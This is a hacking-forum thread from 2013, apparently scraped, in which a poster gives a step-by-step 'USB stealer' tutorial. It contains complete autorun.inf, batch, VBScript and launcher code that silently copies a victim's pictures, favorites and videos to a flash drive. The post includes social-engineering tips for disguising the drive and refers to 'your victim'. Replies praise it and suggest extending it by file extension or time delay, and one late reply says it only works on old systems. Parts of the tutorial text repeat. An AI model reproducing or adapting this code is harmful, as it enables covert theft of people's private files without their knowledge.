+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Beginner Hacking (https://hackforums.net/forumdisplay.php?fid=4)
+----- Forum: Hacking Tutorials (https://hackforums.net/forumdisplay.php?fid=47)
+----- Thread: [Tut]USB STEALER[Tut] (secretly copy using usb) (/showthread.php?tid=3614892)
[Tut]USB STEALER[Tut] (secretly copy using usb) - WaheZ - Jul 12, 2013
STEP 1
Open Notepad (I recommend Notepad++) and copy-paste the following lines.
Save this as autorun.inf
The icon line is optional. You can change the icon to your tastes or leave it to the default icon. It’s useful for social engineering purposes like enticing the user to click a file on the drive by making it looks like a game or something.
The “action=” command is optional too but sometimes when the autorun launches it may ask the user what to open. Depending on what you put here the user will be instructed to click Ok or run the file. This code acts as a backup just in case the user is asked what to open. This is not required if you are operating the computer.
The “shell/open command” also acts as a backup in case the user clicks cancel instead of open when prompted. This code will execute when the drive letter is clicked on.
STEP 2
Open Notepad again and copy-paste the following lines
Save this as file.bat
This file is configured to copy the contents of the current users pictures, favorites, and videos folder to the Flash drive under a folder called “all”. This is the section of the code you will need to edit depending on what you want to copy.
The first file path "%USERPROFILE%\pictures" – is the target.
The second file path "%drive%\all\My pics" – is the destination.
STEP 3
Open Notepad once again and copy-paste the following line.
Save this as invisible.vbs
This code runs the file.bat as a process so it does not show the CMD prompt and everything the batch file is processing.
STEP 4
Open Notepad one last time and copy-paste the following line.
Save this as launch.bat
Open Notepad (I recommend Notepad++) and copy-paste the following lines.
Code
[autorun]
icon=drive.ico
open=launch.bat
action=Click OK to Run
shell\open\command=launch.batSave this as autorun.inf
The icon line is optional. You can change the icon to your tastes or leave it to the default icon. It’s useful for social engineering purposes like enticing the user to click a file on the drive by making it looks like a game or something.
The “action=” command is optional too but sometimes when the autorun launches it may ask the user what to open. Depending on what you put here the user will be instructed to click Ok or run the file. This code acts as a backup just in case the user is asked what to open. This is not required if you are operating the computer.
The “shell/open command” also acts as a backup in case the user clicks cancel instead of open when prompted. This code will execute when the drive letter is clicked on.
STEP 2
Open Notepad again and copy-paste the following lines
Code
@echo off
:: variables
/min
SET odrive=%odrive:~0,2%
set backupcmd=xcopy /s /c /d /e /h /i /r /y
echo off
%backupcmd% "%USERPROFILE%\pictures" "%drive%\all\My pics"
%backupcmd% "%USERPROFILE%\Favorites" "%drive%\all\Favorites"
%backupcmd% "%USERPROFILE%\videos" "%drive%\all\vids"
@echo off
clsSave this as file.bat
This file is configured to copy the contents of the current users pictures, favorites, and videos folder to the Flash drive under a folder called “all”. This is the section of the code you will need to edit depending on what you want to copy.
The first file path "%USERPROFILE%\pictures" – is the target.
The second file path "%drive%\all\My pics" – is the destination.
STEP 3
Open Notepad once again and copy-paste the following line.
Code
CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """", 0, FalseSave this as invisible.vbs
This code runs the file.bat as a process so it does not show the CMD prompt and everything the batch file is processing.
STEP 4
Open Notepad one last time and copy-paste the following line.
Code
wscript.exe \invisible.vbs file.batSave this as launch.bat
This batch file does two things, it looks for the invisible.vbs file in the root of the Flash drive then loads it with file.bat so file.bat is run with code from vbs file.
STEP 5
Copy all 4 files created in the above steps and put it on the root of the Flash drive, including the icon file if needed. Also create a folder named “all” where the contents are to be copied automatically. You can call this folder by any name, but then you need to reflect the changes you made in step 2.
This is all that needs to be done. Test the Flash drive on your own computer first before playing it out on your victim. It works flawlessly.
* - DiamondHacking - Jul 12, 2013
This is really cool.
I'm going to use this in the future for sure.
* - mangdiabloz - Jul 12, 2013
much more good if it copies files by extensions since most ppl dont put their files in those folder but create their own folder like "Downloads" or " latest movies" or etc.. so much going to be better if it copies files w/ .mp4 , .jpeg , .avi and so on, good thread though specially the invi part xD
* - explrlz - Jul 12, 2013
Cool Staff !
Im gona try this latter :)
* - WaheZ - Jul 12, 2013
As long as your sneaky as a ninja they won't know shit 👹
-Just saying-
* - Torbus - Jul 12, 2013
This looks pretty good. I'm going to have to look into it, cheers'.
* - Dr. Michio Kaku™ - Jul 13, 2013
Well it would look a lot better if you would have added some pictures.
Still you deserve thanks!!👍
* - War Admiral - Jul 13, 2013
Nice tutorial. I was looking for the code awhile ago, but I forgot it.
Thank you! :D
* - Furries - Jul 13, 2013
Looks like a nice tut, will read it later on :3
* - WaheZ - Jul 13, 2013
Thank you for the feedback guys really appreciate it
* - SIM-3022874 - May 27, 2016
Man this is what i searched for ! I REally thank you <3 love it
* - Creamer - May 27, 2016
can you set a time delay on this.
* - SIM-3002139 - May 28, 2016
Well done grave digging Tony
* - AL13N - May 28, 2016
Thanks for the help on this m8.
* - DrDoktor - May 28, 2016
This does not work anymore except on pre 2000's computers